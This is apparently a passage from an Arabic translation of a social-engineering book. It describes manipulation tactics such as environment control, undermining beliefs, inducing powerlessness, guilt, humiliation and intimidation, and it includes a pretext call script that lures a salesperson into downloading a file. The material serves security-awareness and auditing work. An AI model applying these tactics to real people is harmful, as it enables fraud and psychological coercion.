‫اﻟﺗﻔﻛﯾر ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾرﯾدھﺎ اﻟﻣﮭﺎﺟم‪ .‬اﻟﻘدرة ﻋﻠﻰ اﺳﺗﺧدام اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﻠﮭدف ﻟﻣﻌرﻓﺔ ﻣﺎ ھﻲ اﻻﺣداث اﻟﺗﻲ ﻟدﯾﮫ ھﻲ أﯾﺿﺎ أداة ﻗوﯾﺔ‪.‬‬
‫ﻟﻘد اﺳﺗﺧدﻣت ھذه اﻟطرﯾﻘﺔ ﻣرة واﺣدة ﻋﻧد اﻟﺑﺣث ﻋن اﻟﻣﺧﺎدع اﻟﻐﯾر ﻗﺎﻧوﻧﻲ ﻟﻠﻌﻣﯾل اﻟذي ﯾرﯾد اﻟﺣﺻول ﻋﻠﻰ ﺗﻔﺎﺻﯾل اﺗﺻﺎل اﻟﻣﺧﺎدع‪ .‬وﻛﻧت‬
‫ﻗﺎدرا ﻋﻠﻰ اﻟﺣﺻول ﻋﻠﻰ ﺣﺳﺎب ﻋﻠﻰ ﻣﻧﺗدى اﺳﺗﺧدﻣﮫ ﻟﻌرض "إﻧﺟﺎزاﺗﮫ"‪ .‬اﺳﺗﺧدام ھذا اﻟﺗﻛﺗﯾك ﺑﺎﻟدﺧول ﻓﻲ ﺑﯾﺋﺗﮫ‪ ،‬ﺛم ﯾﺻﺎدق ﻋﻠﯾﮫ‪ ،‬ﻓﻛﻧت‬
‫ﻗﺎدرا ﻋﻠﻰ ﻛﺳب ﺛﻘﺗﮫ‪ ،‬اﺳﺗﺧدام اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﻣﻌرﻓﺔ ﻣﺎذا ﻛﺎن ﯾﻔﻌل‪ ،‬ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف اﻟﺣﺻول ﻋﻠﻰ ﻣﻌﻠوﻣﺎت اﻻﺗﺻﺎل ﺑﮫ‪.‬‬
‫أي اﻟطرﯾﻘﺔ ﺗﺳﺗﺧدم ﻟﻠﺳﯾطرة ﻋﻠﻰ ﺑﯾﺋﺔ اﻟﮭدف ﯾﻣﻛن اﺳﺗﺧدام ھذه اﻟﺗﻘﻧﯾﺔ ﻓﻲ اﻟﺗﻼﻋب‪ .‬اﻟﺗﺣﻛم ﻓﻲ اﻟﺑﯾﺋﺔ ﻣن اﻟﻣﻣﻛن أن ﯾﻛون ﺑﺳﯾطﺎ ﻣﺛل‬
‫اﻻﻗﺗراب ﻋﻧدﻣﺎ ﺗﻌﻠم أن ﻟدﯾك ﻓرص ﻗﻠﯾﻠﮫ ﻟﻼﻧﻘطﺎع‪ ،‬أو اﻟﺳﻣﺎح ﻟﻠﮭدف ﻟﯾرى أو ﻻ ﯾرى ﺷﯾﺋﺎ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﺳﺑب رد ﻓﻌل‪.‬‬
‫ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬إﻻ إذا ﻛﻧت ﺗﺧطط ﻟﺟﻠب اﻟﮭدف إﻟﻰ ﺣﺟرة ﻣظﻠﻣﺔ‪ ،‬ﻻ ﯾﻣﻛﻧك اﻟﺗﺣﻛم ﺣﻘﺎ ﻓﻲ اﻟﺑﯾﺋﺔ ﺑﺄﻛﻣﻠﮭﺎ‪ ،‬ﻟذﻟك اﻟﺳﯾطرة ﺑﻘدر ﻣﺎ ﯾﻣﻛن‬
‫ﺳﯾﺳﺗﻐرق اﻟﺗﺧطﯾط واﻟﺑﺣوث‪ .‬ﺑﻌد ﺗﺣدﯾد اﻟدواﺋر اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺗﻲ ﺗﺳﺗﮭدﻓﮭﺎ‪ ،‬ﺳواء ﻋﺑر اﻹﻧﺗرﻧت أو ﻓﻲ اﻟﻌﺎﻟم اﻟﺣﻘﯾﻘﻲ‪ ،‬ﺳوف ﺗﺣﺗﺎج إﻟﻰ‬
‫ﻗﺿﺎء ﺑﻌض اﻟوﻗت ﻟﺗﺧطط ﻛﯾف ﺳﺗﺣﺻل ﻋﻠﻰ اﻟﺳﯾطرة ﻋﻠﻰ ﺗﻠك اﻟﺑﯾﺋﺔ‪ .‬ﺑﻣﺟرد اﻟدﺧول‪ ،‬ﻣﺎ ھﻲ اﻟﻌﻧﺎﺻر اﻟﺗﻲ ﺗرﯾد اﻟﺳﯾطرة ﻋﻠﯾﮭﺎ؟‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺟﯾد ﻟم ﯾﺄﺗﻲ ﻣن اﺟل ﺧوض "اﻟﻘﺗل ﺑﺎﻟرﺻﺎص" وﻟﻛن ﺳوف ﯾﺳﺗﻐرق وﻗﺗﺎ طوﯾﻼ ﻟﺑﻧﺎء اﻟﻌﻼﻗﺔ وﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻗﺑل‬
‫ﯾدﯾر اﻟﺿرﺑﺔ اﻟﻘﺎﺿﯾﺔ‪.‬‬
‫ﻛﺛﯾرا ﻣﺎ ﯾﺳﺗﺧدم ﺗﻛﺗﯾك ﺳﯾطرة ﺑﯾﺋﺔ ﻓﻲ اﻟﺷرطﺔ أو ﻓﻲ زﻣن اﻟﺣرب اﻻﺳﺗﺟواب‪ .‬اﻟﺑﯾﺋﺔ ﺣﯾث اﻻﺳﺗﺟواب ﺳﺗﺗم ﺳﯾﻛون ﻟﮭﺎ ﺟو ﻣﻌﯾن ﻟﺟﻌل‬
‫اﻟﮭدف ﯾﺷﻌر ﺑﺎﻟراﺣﺔ‪ ،‬ﻋﺻﺑﻲ‪ ،‬ﺧﺎﺋف‪ ،‬ﻗﻠﻖ‪ ،‬أو أي ﻋﺎطﻔﺔ أﺧرى ﯾرﯾدھﺎ اﻟﻣﮭﺎﺟم أن ﯾﺷﻌر ﺑﮭﺎ اﻟﮭدف‪.‬‬
‫إﺟﺒﺎر اﻟﮭﺪف إﻟﻰ إﻋﺎدة اﻟﺘﻘﯿﯿﻢ )‪(Forcing the Target to Reevaluate‬‬
‫ﺗﻘوﯾض‪/‬زﻋزﻋﺔ ﻣﻌﺗﻘدات اﻟﮭدف‪ ،‬وﻋﯾﮫ‪ ،‬أو اﻟﺳﯾطرة اﻟﻌﺎطﻔﯾﺔ ﻟﻠظرف ﻣن اﻟﻣﻣﻛن ان ﯾﻛون ﻟﮭﺎ ﺗﺄﺛﯾر ﻣﻘﻠﻖ ﻟﻠﻐﺎﯾﺔ ﻋﻠﯾﮫ‪ .‬ھذا اﻟﺗﻛﺗﯾك ﺳﻠﺑﻲ ﺟدا‬
‫ﻷﻧﮫ ﯾﺳﺗﺧدم ﻟﺟﻌل اﻟﮭدف ﯾﺷك ﻓﯾﻣﺎ ﯾﻘﺎل ﻟﮫ ﻋﻠﻰ اﻧﮫ ﺣﻘﯾﻘﺔ‪.‬‬
‫اﻟطواﺋف‪/‬اﻟﻣذاھب ﺗﺳﺗﺧدم ھذا اﻟﺗﻛﺗﯾك ﻟﯾﺳﺗﻐﻠوا أوﻟﺋك اﻟذﯾن ﯾﺑﺣﺛون ﻋن اﻟﺗوﺟﯾﮫ ﻣن ﺧﻼل اﻟﺣﯾﺎة‪ .‬ﻣرات ﻋدﯾدة‪ ،‬اﻟﻧﺎس اﻟذﯾن ﯾﺷﻌرون ﺑﺎﻟﻔدان‬
‫أو اﻻرﺗﺑﺎك ﻣﻘﺗﻧﻌون ﺑﺄن اﻟﻧظﺎم اﻻﻋﺗﻘﺎد ﻛﻠﮫ ﯾﺣﺗﺎج إﻟﻰ إﻋﺎدة ﺗﻘﯾﯾم‪ .‬ﻋﻧدﻣﺎ ﺗﻛون اﻟطواﺋف ﻣﺳﯾطرة ﻓﺄﻧﮭﺎ ﯾﻣﻛن أن ﺗﻛون ﻣﻘﻧﻌﺔ ﺑﺣﯾث اﻟﺿﺣﯾﺔ‬
‫ﯾﻣﻛن أن ﯾﻛون ﻣﻘﺗﻧﻌﺎ ﺗﻣﺎﻣﺎ أن ﻋﺎﺋﻼﺗﮫ وأﺻدﻗﺎﺋﮫ ﻻ ﯾﻌرﻓون ﻣﺎ ھو أﻓﺿل‪.‬‬
‫ﻋﻠﻰ ﻣﺳﺗوى اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺷﺧﺻﯾﺔ ﯾﻣﻛﻧك ﺟﻌل اﻟﺷﺧص ﻹﻋﺎدة ﺗﻘﯾﯾم ﻣﻌﺗﻘداﺗﮫ ﺣﯾث ﯾﺗم ﺗﻌﻠﯾﻣﮫ ﺣول ﻣﺎ ھو آﻣن وﻣﺎ ھو ﻟﯾس ﻛذﻟك‪،‬‬
‫أو ﻣﺎ ھﻲ ﺳﯾﺎﺳﺔ اﻟﺷرﻛﺎت وﻟﯾس ﻣﺎ ھو‪.‬‬
‫ﻛل ﯾوم اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﯾﺳﺗﺧدﻣوا ﺗﻛﺗﯾﻛﺎت ﻣﻣﺎﺛﻠﺔ ﻣن ﺧﻼل ﺗﻘدﯾم واﺣدة ﻣدروﺳﺔ ﺟﯾدا ﻣن اﻟﺳؤال اﻟذي ﯾﻣﻛن أن ﯾﺳﺑب ﻟﻠﮭدف إﻟﻰ‬
‫إﻋﺎدة ﺗﻘﯾﯾم ﻣوﻗﻔﮫ ﻋﻠﻰ اﻟﻣوﺿوع وﯾﺳﺑب ﻟﮫ أن ﯾﺗﻌﺛر‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻓﻲ اﻻﻗﺗﺻﺎد‪ ،‬ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت اﻟﻣﺗﻌطﺷﺔ ﻟﺟﻌل اﻟﻣﺑﯾﻌﺎت‪ ،‬وﻛﻧت ﻗد اﺗﺻﻠت ﺑﻘﺳم ﻣﺑﯾﻌﺎت اﻟﺷرﻛﺔ اﻟﺗﻲ ﻟدﯾﮭﺎ ﺳﯾﺎﺳﺔ‬
‫ﺻﺎرﻣﺔ ﺣول ﺗﺣﻣﯾل ﻣﻠﻔﺎت ‪ PDF‬ﻣن اﻹﻧﺗرﻧت دون اﺟراء اﻟﻔﺣوﺻﺎت اﻟﻣﻧﺎﺳﺑﺔ واﻻﺣﺗﯾﺎطﺎت‪ .‬ﺣﯾث ﻻ ﯾزال ﺑﺈﻣﻛﺎﻧك وﺿﻊ ھذا اﻻﺗﺻﺎل‪:‬‬
‫"ﻣرﺣﺑﺎ‪ ،‬أﻧﺎ ﻣن ﺷرﻛﺔ ‪ ABC‬وأرﯾد أن أﺿﻊ طﻠﺑﯾﺔ ﻟﻣﻧﺗﺟك اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻛون أﻛﺛر ﻣن ‪ 10،000‬ﻗطﻌﺔ‪ .‬ﺻﺎﺣب اﻟﻌﻣل ﯾرﯾد ﻣن اﻟﺣﺻول‬
‫ﻋﻠﻰ ﺛﻼﺛﺔ ﻋروض أﺳﻌﺎر ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن ﯾﻣﻛﻧﻧﺎ أن ﻧﻔﻌل ﻣﺎ ھو أﻓﺿل‪ .‬ﻟﻘد ﻗﻣت ﺑرﻓﻊ ﺣزﻣﺔ ﻋرض اﻻﺳﻌﺎر إﻟﻰ ﻣوﻗﻌﻧﺎ‪ .‬ﯾﻣﻛن أن أﻋطﻲ‬
‫ﻟﻛم ‪URL‬؟ اﻧﺎ ذاھب اﻟﻰ اﺟﺗﻣﺎع ﻓﻲ ﺧﻼل ﺳﺎﻋﺗﯾن‪ .‬ھل ﯾﻣﻛن أن ﺗﻧظر اﻟﻰ ﺣزﻣﺔ واﻟﺣﺻول ﻟﻲ ﻋﻠﻰ ﻗﺎﺋﻣﺔ اﻻﺳﻌﺎر اﻷوﻟﻲ ﻗﺑل ذﻟك؟"‬
‫ﻻ أﻋﺗﻘد أن ھذا اﻟﺗﻛﺗﯾك ﯾﻌﻣل؟ ﻋﻠﻰ اﻷرﺟﺢ ﺳﯾﻘون ﻣﻧدوب اﻟﻣﺑﯾﻌﺎت ﺑﺗﻧزﯾل وﺗﻧﻔﯾذ ھذا اﻟﻣﻠف ﻣن دون اﻟﻔﻛر‪ .‬ﻟﻘد ﺗﺳﺑب ھذا ﻟﮫ إﻟﻰ إﻋﺎدة ﺗﻘﯾﯾم‬
‫اﻟﺳﯾﺎﺳﺔ اﻟﺗﻲ ﺗم ﺗدرﯾﺳﮭﺎ ﻟﮫ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪945‬‬

‫ﺟﻌﻞ اﻟﮭﺪف ﯾﺸﻌﺮ ﺑﺎﻟﻌﺠﺰ )‪(Making the Target Feel Powerless‬‬

‫ﺟﻌل اﻟﮭدف ﯾﺷﻌر ﺑﺎﻟﺿﻌف أو اﻟﻌﺟز ھﻲ طرﯾﻘﮫ ﻣظﻠﻣﺔ ﺟدا‪ ،‬وﻟﻛﻧﮫ ﺗﻛﺗﯾك ﻓﻌﺎل‪ .‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدم ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋﻧدﻣﺎ ﻛﺎﻧت‬
‫اﻟذرﯾﻌﺔ ھﻲ ﺟﮭﺔ ﺗﻧﻔﯾذﯾﺔ ﻏﺎﺿﺑﮫ أو ﺷﺧص ﯾﻧﺑﻐﻲ أن ﯾﻛون ﻟﮫ ﺳﻠطﺔ ﻋﻠﻰ اﻟﮭدف‪ .‬اﻟﻐﺿب ﻣن ﻋدم اﻻﺳﺗﺟﺎﺑﺔ أو ﻋدم ﻗدرة اﻟﮭدف ﻹﻋطﺎء‬
‫إﺟﺎﺑﺎت ﺳرﯾﻌﺔ‪ ،‬اﻟﻣﮭﺎﺟم ﯾوﺑﺦ أو ﯾﮭدد اﻟﮭدف‪ ،‬ﻣﻣﺎ ﺟﻌﻠﮫ ﯾﺷك ﻓﻲ ﻣوﻗﻔﮫ وﯾﺷﻌر ﺑﺧﺳﺎرة اﻟﺳﻠطﺔ‪.‬‬
‫ھﻧﺎك طرﯾﻘﺔ أﺧرى أﻛﺛر دﻗﺔ ﺗﺳﺗﺧدم ھذه ﻟﺗﻘوﯾض‪/‬زﻋزﻋﺔ ﻧظﺎم اﻻﻋﺗﻘﺎد ﺑﺎﺳﺗﺧدام اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﻓﻲ إﺣدى اﻟﺗدﻗﯾﻘﺎت اﻷﻣﻧﯾﺔ‪ ،‬ﺗم إﯾﻘﺎﻓﻲ‬
‫ﻣن ﻗﺑل اﻟﺣﺎرس أﺛﻧﺎء اﻟﻘﯾﺎم ﺑﻣﺳﺢ اﻟﺷﺑﻛﺔ اﻟداﺧﻠﯾﺔ‪ .‬ﻋﻧدﻣﺎ ﻓﻌل اﻟﺷﻲء اﻟﺻﺣﯾﺢ ﻹﯾﻘﺎﻓﻲ‪ ،‬ﺗﻔﺎﻋﻠت ﻣﻌﮫ ﺑﺷﻲء ﻣن ھذا اﻟﻘﺑﯾل "‪ ،‬ھل ﺗﻌﻠم أن ﻛل‬
‫ﻋﺎم ھذه اﻟﺷرﻛﺔ ﺗﻌﻘد ﺻﻔﻘﺎت ﻣﻊ ﻣﻌرﻛﺔ ﻣﺳﺗﻣرة ﺿد اﻧﺗﮭﺎﻛﺎت اﻟﺷﺑﻛﺔ؟ أﻧﻰ اﺳﻌﻰ اﻟﻰ ﺗﺄﻣﯾن ذﻟك‪ ،‬وﺗﺣﺎول ﻣﻧﻌﻲ ﻣن اﻟﻘﯾﺎم ﺑﻌﻣﻠﻲ" !‬
‫ﺳﻠوﻛﻲ اﻟطﺎﻏﻲ ﺗﺳﺑب ﻟﮫ أن ﯾﺷﻌر ﺑﺎﻟﻌﺟز وإﻧﮫ ﺗراﺟﻊ ﻹﻋطﺎء اﻟﮭدف اﻻﻧطﺑﺎع ﻋﻠﻰ أﻧﮫ ﻟﯾس ﻟدﯾﮫ اﻟوﻗت ﻟﻠﺗﻔﻛﯾر أو أن ھﻧﺎك إﻟﺣﺎح ﺟدي‬
‫ﯾﻣﻛن أﯾﺿﺎ ﺟﻌﻠﮫ ﯾﺷﻌر ﺑﺎﻟﻌﺟز‪ .‬اﻧﮫ ﻻ ﯾﻣﻛن أن ﯾﺄﺧذ وﻗﺗﺎ ﻟﻠﺗﻔﻛﯾر ﺣول ﻛﯾﻔﯾﺔ اﻟﺗﻌﺎﻣل ﻣﻊ اﻟﻣﺷﻛﻠﺔ وﺑﺎﻟﺗﺎﻟﻲ ﯾﺟب ﻋﻠﯾﮫ اﺗﺧﺎذ ﻗرار ﺑطرﯾﻘﺔ اﻧﮫ‬
‫ﯾﻌرف اﻧﮫ ﻻ ﯾﻧﺑﻐﻲ اﺗﺧﺎذھﺎ‪.‬‬
‫ﻗد اﺳﺗﺧدم ھذا اﻟﺗﻛﺗﯾك ﺑﻌد اﻟزﻻزل اﻷﺧﯾرة ﻓﻲ ھﺎﯾﺗﻲ‪ .‬ﺣﯾث ﺗم إطﻼق ﻣوﻗﻊ ﻋﻠﻰ اﻻﻧﺗرﻧت اﻟذي زﻋم اﻟﺣﺻول ﻋﻠﻰ ﻣﻌﻠوﻣﺎت ﻋن أﺣﺑﺎﺋﮭم‬
‫اﻟذﯾن ﻗد ﻓﻘدوا‪ .‬ﺑﺳﺑب ﻣطﺎﻟﺑﺗﮭم ﻛﺎن ﻻ أﺣد ﻛﺎن ﻗﺎدرا ﻋﻠﻰ ﺗﻘدﯾم اﻟﻣﻌﻠوﻣﺎت ﻋن أﺣﺑﺎﺋﮭم وﻟﻛن ھذه اﻟﻣﺟﻣوﻋﺔ اﻟذي ﻗﺎﻣت ﺑﺈﻋداد اﻟﻣوﻗﻊ‪ ،‬ﻓﺈﻧﮭﺎ‬
‫ﯾﻣﻛن أن ﺗﺗطﻠب أن ﺗﺣﻘﻖ ﻣﻌﺎﯾﯾر ﻣﻌﯾﻧﺔ ﻟﻠﺣﺻول ﻋﻠﻰ ھذه اﻟﻣﻌﻠوﻣﺎت‪ .‬ﻛﺛﯾر ﻣن اﻟﻧﺎس‪ ،‬ﯾﺷﻌرون ﺑﺎﻟﻌﺟز واﻟﯾﺄس‪ ،‬دﺧل اﻟﻛﺛﯾر ﻣن اﻟﻣﻌﻠوﻣﺎت‬
‫وﻧﻘر اﻷﺷﯾﺎء اﻟﺗﻲ ﯾﻌرﻓون أﻧﮭم ﻻ ﯾﻧﺑﻐﻲ وﻓﻲ اﻟﻧﮭﺎﯾﺔ ﺗﺿرروا ﺑﮫ‪ .‬أﺻدرت ﺑﻲ ﺑﻲ ﺳﻲ اﻟﻘﺻﺔ ﻋن ھذا وﺳرد ﺑﻌض اﻟﻧﺻﺎﺋﺢ ﻟﻠﺑﻘﺎء اﻟﻣﺣﻣﯾﺔ‪:‬‬
‫‪http://news.bbc.co.uk/2/hi/business/8469885.stm‬‬
‫إطﻼق اﻟﻌﻘﻮﺑﺔ اﻟﻐﯿﺮ ﺟﺴﺪﯾﮫ )‪(Dishing Out Nonphysical Punishment‬‬
‫اﻻرﺗﺑﺎط اﻟوﺛﯾﻖ ﻟﺟﻌل اﻟﮭدف ﯾﺷﻌرون ﺑﺎﻟﻌﺟز ﯾﺟﻌﻠﮭم ﯾﺷﻌرون ﺑﺎﻟذﻧب واﻹذﻻل‪ ،‬واﻟﻘﻠﻖ‪ ،‬أو ﻓﻘدان اﻻﻣﺗﯾﺎز‪ .‬ھذه اﻟﻣﺷﺎﻋر ﯾﻣﻛن أن ﺗﻛون ﻗوﯾﺔ‬
‫ﻟدرﺟﺔ أن اﻟﮭدف رﺑﻣﺎ ﻗد ﯾﻔﻌل أي ﺷﻲء ل "اﺳﺗﻌﺎدة اﻟﺻﺎﻟﺢ"‪.‬‬
‫اﻟذﻧب ﻋﻠﻰ ﻋدم إﻋطﺎء ﻣﺎ ﻛﺎن ﻣﺗوﻗﻌﺎ ﯾﻣﻛن أن ﯾﺳﺑب اﻟذل واﻟﺷك‪ ،‬اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺳﺑب اﻟﮭدف ﻟﻠرد ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾرﯾدھﺎ اﻟﻣﮭﺎﺟم‪.‬‬
‫أﻧﺎ ﻻ أﻗﺗرح اﺳﺗﺧدام اﻹذﻻل ﻓﻲ ﻣﻌظم اﻟﺑﯾﺋﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬وﻟﻛن رأﯾت أﻧﮭﺎ ﺗﺳﺗﺧدم ﻋﻠﻰ ھدف ﻓﻲ ﺟﮭد ﺟﻣﺎﻋﻲ ﻟﻔﺗﺢ اﻟﺑﺎب‪ ،‬وﻓﻰ‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﻌﺿو ﻓرﯾﻖ آﺧر ﻟﺗﻠﯾن وﺟﮫ اﻟﮭدف‪ ،‬ﻣﻣﺎ ﯾﺟﻌﻠﮭﺎ أﻛﺛر ﻣروﻧﺔ ﻋﻠﻰ اﻻﻗﺗراح‪.‬‬
‫ﯾﻘﺗرب اﻟﻣﮭﺎﺟم ﻣن اﻟﮭدف أوﻻ ﻓﻲ وﺿﻊ اﻟﻌﺎم ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت؛ ﺛم ﯾﻠﻌب دور ﺷﺧص ﻣﮭم‪.‬‬
‫ﺗﺨﻮﯾﻒ اﻟﮭﺪف )‪(Intimidating a Target‬‬
‫اﻟﺗرھﯾب ﻟﯾس ﺗﻛﺗﯾﻛﺎ اﻟﺗﻲ ﻗد ﺗﻔﻛر ﻓﻲ اﺳﺗﺧداﻣﮫ ﺑﺎﻟﻣﻌﻧﻰ اﻟﺗﻘﻠﯾدي ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﺣﯾث إﻧك ﻟن ﺗﻘوم ﺑرﺑط اﻟﮭدف واﺳﺗﺧدام اﻟﺗرھﯾب‬
‫ﻋﻠﯾﮫ‪ ،‬وﻟﻛن ﯾﻣﻛﻧك اﺳﺗﺧدام اﻟﺗرھﯾب ﺑطرق ﺧﻔﯾﺔ‪.‬‬
‫اﻗﺗراح ﻋدم اﻻﻣﺗﺛﺎل ﻣن اﻟﻣﻣﻛن أن ﯾؤدي إﻟﻰ ﺗﺳرﯾﺣﮭن أو ﯾﻣﻛن أن ﯾﻛون ھﻧﺎك ﻋواﻗب ﺳﻠﺑﯾﺔ أﺧرى واﻟﺗﻲ ﺗﺧوﯾف اﻟﮭدف ﻟﻠرد ﺑطرﯾﻘﺔ‬
‫ﻣﻌﯾﻧﺔ‪ .‬اﻟﺣﻛوﻣﺎت ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺳﺗﺧدم ھذا اﻟﺗﻛﺗﯾك ﻟﻠﺗﻼﻋب ﺑﺎﻟﻣﺟﺗﻣﻊ ﻟﻼﻋﺗﻘﺎد ﺑﺄن اﻟﻧظﺎم اﻻﻗﺗﺻﺎدي ﯾﻧﮭﺎر‪ .‬ﺑﮭذه اﻟطرﯾﻘﺔ ﯾﻣﻛن اﻟﺗﺣﻛم ﻓﻲ‬
‫اﻟﻌواطف ﻣن ﺗﻠك اﻟﺗﻲ ﺗﺣﻛم‪.‬‬
‫ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮫ ﻓﻲ ﺗﺣﻘﯾﻘﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺣﺗﻰ ﻣن ﺧﻼل إظﮭﺎر ﻣظﮭر اﻟﺗﺧوﯾف‪ .‬اﻟﻧظرة اﻟﻣﺷﻐوﻟﺔ‪ ،‬ﻣﻔﺎﺟﺄ‪ ،‬ﻓﻲ ﻣﮭﻣﺔ ﯾﻣﻛن ﺗﺧوﯾف‬
‫اﻟﻛﺛﯾرﯾن‪ .‬ﯾﻣﻛن اﻟﺗﺣدث ﻣﻊ ﺗﻌﺑﯾرات ﻣوﺛوﻗﺔ ﺟدا أﯾﺿﺎ ﻟﺗﺧوﯾف اﻟﻧﺎس‪.‬‬
‫ﻓﻲ ﻣﺟﺎل اﻷﻋﻣﺎل اﻟﺗﺟﺎرﯾﺔ‪ ،‬إرﺳﺎل أﺷﯾﺎء ﻋن طرﯾﻖ اﻟﺑرﯾد اﻟﻣﺳﺟل أو اﻟﺑرﯾد اﻟﺳرﯾﻊ ﺿﻣﻧﺎ ﻣﺳﺗوى ﻣن اﻟﺗرھﯾب‪ .‬ﺟﻌل ﻋﻼﻣﺔ ﺷﺧص‬
‫ﻟﺣزﻣﺔ ﻣﺣﺗوﯾﺎﺗﮭﺎ ﻏﯾر ﻣﻌروﻓﺔ ﯾﻣﻛن أن ﺗﺟﻌل ﺑﻌض اﻟﻧﺎس ﺗﺷﻌر ﺑﺎﻟﺧوف‪ .‬اﻟﮭدف ﻣﻊ ھذا اﻟﺗﻛﺗﯾك اﻟﺗﻼﻋب ھو ﺟﻌل اﻟﮭدف ﯾﺷﻌرون ﺑﻌدم‬
‫اﻻرﺗﯾﺎح واﻟﻘﻠﻖ‪ ،‬اﻟذي ﯾﻣﻛن أن ﯾﺳﺑب ﻟﮫ رد ﻓﻌل ﻓﻲ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺳوف ﯾﻧدم ﻋﻠﯾﮭﺎ ﻓﯾﻣﺎ ﺑﻌد‪ ،‬وﻟﻛن ﺑﺣﻠول ذﻟك اﻟوﻗت ﻓوات اﻷوان‪.‬‬
‫ﺗﺳﺗﺧدم ﺗﻘﻧﯾﺎت اﻟﺗﻼﻋب ھذه ﺑﻧﺟﺎح ﻣن ﻗﺑل اﻟﻣﮭﻧدﺳﯾن وﻣدﻗﻘﻲ اﻟﺣﺳﺎﺑﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﮭﻧﯾﺔ‪ .‬اﻟﺗﻼﻋب ﺑﺎﻟﺷﺧص ﻟﻛﻲ ﯾﺷﻌر ﺑﺎﻟﻌﺟز ﺗﻣﺎﻣﺎ‬
‫ﯾﺳﺑب ﻟﮫ أو ﻟﮭﺎ أن ﺗﺷﻌر ﺑﺄن اﻟﺗﻧﺎزل أﻣﺎم اﻟﻣﮭﺎﺟم ﻣﻧطﻘﻲ‪.‬‬
‫ھذا ھو ﺣﻘﺎ ﺣﯾث ﯾﺧﺗﻠف اﻟﺗﻼﻋب ﻓﻲ ﻣﻣﺎرﺳﺔ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋن ﻏﯾره ﻣن أﺷﻛﺎل اﻟﺗﺄﺛﯾر‪ .‬ﻣﻊ اﻟﺗﻼﻋب اﻟﺳﻠﺑﻲ ﯾﺗرك اﻟﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬وﻻ ﯾﮭﻣﮫ ﻛﯾف ﯾﺷﻌر اﻟﮭدف ﻓﻲ وﻗت ﻻﺣﻖ‪ .‬ﺣﺗﻰ ﻟو ﻛﺎن اﻟﮭدف ﯾدرك اﻧﮫ ﻗد اﺧﺗرق‪ ،‬ﻻ ﯾﮭم ﻷن اﻟﺿرر ﻗد ﺗم واﻟﺷرﻛﺔ او‬
‫اﻟﺷﺧص ﻗد ﺗم اﻟﺗﺳﻠل اﻟﯾﮫ ﺑﺎﻟﻔﻌل‪ .‬اﻟﺟواﻧب اﻷﺧرى ﻣن ﺗﻼﻋب اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ ﻣﺟرد ﻗوﯾﺔ ﻟﻛﻧﮭﺎ ﻟﯾﺳت ﻣظﻠﻣﺔ ﻛذﻟك‪.‬‬
‫اﺳﺘﺨﺪام اﻟﺘﻼﻋﺐ اﻹﯾﺠﺎﺑﻲ )‪(Using Positive Manipulation‬‬
‫اﻟﺗﻼﻋب اﻹﯾﺟﺎﺑﻲ ﻟﮫ ﻧﻔس اﻷھداف ﻓﻲ اﻻﻋﺗﺑﺎر ﻣﺛل اﻟﺗﻼﻋب اﻟﺳﻠﺑﻲ ‪-‬ﻓﻲ اﻟﮭدف ﯾﻛون ﻓﻲ ﻣواءﻣﺔ ﻣﻊ اﻷﻓﻛﺎر واﻟرﻏﺑﺎت اﻟﺧﺎﺻﺔ ﺑك‪.‬‬
‫اﻻﺧﺗﻼﻓﺎت ھﻲ ﻓﻲ ﻛﯾﻔﯾﺔ اﻟوﺻول اﻟﻰ ھﻧﺎك‪ .‬وﻟﻛن ﻓﻲ اﻟﺗﻼﻋب اﻹﯾﺟﺎﺑﻲ‪ ،‬اﻟﮭدف ﻻ ﯾﺣﺗﺎج اﻟﻌﻼج ﻋﻧد اﻻﻧﺗﮭﺎء ﻣﻧﮫ‪.‬‬
